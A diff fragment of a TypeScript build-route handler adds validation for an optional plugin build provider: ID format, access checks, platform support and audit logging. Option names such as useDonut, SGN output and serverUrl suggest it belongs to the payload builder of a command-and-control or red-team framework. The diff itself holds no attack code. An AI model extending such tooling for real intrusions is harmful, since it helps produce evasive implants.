platforms,
buildProvider,
serverUrl,
rawServerList,
solMemo,
@@ -263,6 +273,37 @@ export async function handleBuildRoutes(
return Response.json({ error: "No valid platforms specified" }, { status: 400 });
}
let safeBuildProvider: string | undefined;
if (buildProvider !== undefined && buildProvider !== null && String(buildProvider).trim()) {
const providerId = String(buildProvider).trim();
if (!/^[A-Za-z0-9._-]{1,128}$/.test(providerId) || !deps.listPluginManifests) {
return Response.json({ error: "Invalid build provider" }, { status: 400 });
}
const manifests = await deps.listPluginManifests();
const manifest = manifests.find((item) => item?.id === providerId);
if (
!manifest?.build?.provider ||
manifest?.hasServer !== true ||
manifest?.enabled === false ||
!canUserAccessPlugin(user.userId, user.role, providerId)
) {
return Response.json({ error: "Build provider is unavailable" }, { status: 403 });
}
const providerPlatforms = new Set(
Array.isArray(manifest.build.provider.platforms)
? manifest.build.provider.platforms
: [],
);
const unsupported = allowedPlatforms.filter((platform) => !providerPlatforms.has(platform));
if (unsupported.length > 0) {
return Response.json(
{ error: `Build provider ${manifest.name || providerId} does not support: ${unsupported.join(", ")}` },
{ status: 400 },
);
}
safeBuildProvider = providerId;
}
const safeRawServerList = !!rawServerList;
const safeSolMemo = !!solMemo;
const safeServerUrl =
@@ -383,7 +424,7 @@ export async function handleBuildRoutes(
username: user.username,
ip,
action: AuditAction.COMMAND,
details: `Started build ${buildId} for platforms: ${allowedPlatforms.join(", ")}`,
details: `Started ${safeBuildProvider ? `${safeBuildProvider} provider ` : ""}build ${buildId} for platforms: ${allowedPlatforms.join(", ")}`,
success: true,
});
@@ -438,7 +479,7 @@ export async function handleBuildRoutes(
{ status: 400 },
);
}
const needsMacosSdk = hasDarwinTarget && !disableCgo && process.platform === "linux";
const needsMacosSdk = !safeBuildProvider && hasDarwinTarget && !disableCgo && process.platform === "linux";
if (safeOutputSgnTxt) {
const hasSgnCapableTarget = allowedPlatforms.some((p) =>
(!!useDonut && p.startsWith("windows-")) ||
@@ -515,6 +556,7 @@ export async function handleBuildRoutes(
const safeBuildConfig: any = {
platforms: allowedPlatforms,
buildProvider: safeBuildProvider,
serverUrl: safeServerUrl,
rawServerList: safeRawServerList,
solMemo: safeSolMemo,
@@ -572,7 +614,13 @@ export async function handleBuildRoutes(
uploadToFileShare: safeUploadToFileShare,
};
const pluginBuildResult = await sanitizeBuildPlugins(buildPlugins, deps, user, safeBuildConfig);
const pluginBuildResult = await sanitizeBuildPlugins(
buildPlugins,
deps,
user,
safeBuildConfig,
safeBuildProvider,
);
if (pluginBuildResult.error) {
if (rateLimitActive) recordBuildEnd(user.userId);
return Response.json({ error: pluginBuildResult.error }, { status: 400 });